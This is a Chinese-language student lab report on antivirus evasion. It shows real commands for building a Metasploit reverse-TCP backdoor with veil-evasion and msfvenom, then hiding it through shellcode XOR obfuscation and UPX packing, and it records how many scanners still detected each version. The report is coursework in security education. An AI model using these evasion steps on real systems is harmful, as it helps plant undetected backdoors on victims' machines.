Exp3 免杀原理与实践20154302薛师凡
一、实践目标与内容
利用多种工具实现实现恶意代码免杀
在另一台电脑上,杀软开启的情况下,实现运行后门程序并回连成功。
在保证后门程序功能的情况下实现杀软共存。
二、实践过程与步骤
1.使用msf编码器生成的后门程序
上次实践生成的后门程序,直接被360发现了,在virscan网站扫描,也有17个杀毒引擎识别了出来,很容易被辨识出来的。
2.使用veil-evasion生成的后门程序
2.1安装veil平台
apt-get install veil-evasion
2.2根据菜单选择一个模板生成,在这里我选择的是evasion里的c语言中的(第7行)
2.3设置相关参数即
set LHOST 192.168.199.239
set LPORT 4302
generate
2.4找到生成的程序拷贝到主机后,没有被360查出来,virscan扫描有8个杀毒引擎识别了出来,还可以。
开始找不到生成的程序,可以在本地电脑搜索veil,找到var/lib下的veil,打开output->compiled,就可以找,后拖至主机。或者用指令复制cp -r 要复制的文件夹绝对地址 /root
然后回连试一试
3.shellcode编程
3.1在Kali下生成一个C语言格式的shellcode数组,回连的IP为Kali的IP,端口自定。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.239 LPORT=4302 -f c
得到数组后开始编程。
3.3拷贝至win10,能直接被360识别出来,virscan扫描有6个引擎可以识别出来且能回连成功
3.4我对shellcode进行倒序,换位,异或,在win10环境下,在codeblock进行编译,不会被360识别出来,virscan也只有3个引擎能识别出来
4.对程序进行加壳
upx 4302.exe -o 4302upx.exe
实际并没有什么用,加壳后能识别出来的引擎数基本没变甚至还会变多
加壳后居然有12个引擎识别出来了:
三、基础问题回答
杀软是如何检测出恶意代码的?
我认为现在的杀软主要是基于特征码进行检测的,特征码就是一段或多段数据,如果一个可执行文件包含这样的数据或者文字名称则被认为是恶意代码。还有就是基于行为的恶意软件检测,就是通用的、多特征的、非精确的扫描。
免杀是做什么?
免杀即使杀毒软件检测不出恶意软件的手段。
免杀的基本方法有哪些?
通过多种方式改变特征码,例如加壳,生成shellcod,用其他语言进行重写再编译等等。
改变行为,例如改变通讯方式(使用反弹式连接)和操作模式(加入混淆作用的正常功能代码)。
四、离实战还缺些什么技术或步骤?
想办法让目标主机在不知不觉中运行恶意软件。毕竟没人会主动打开一个恶意软件。
五、实践总结与体会
通过这次实践,我们实现了部分恶意软件的免杀,虽然有时候回连会出现问题,但是这个过程其实不是很复杂,这简单的过程就让诸多杀毒软件束手就擒,这不禁让人为我们个人的信息安全感到恐慌。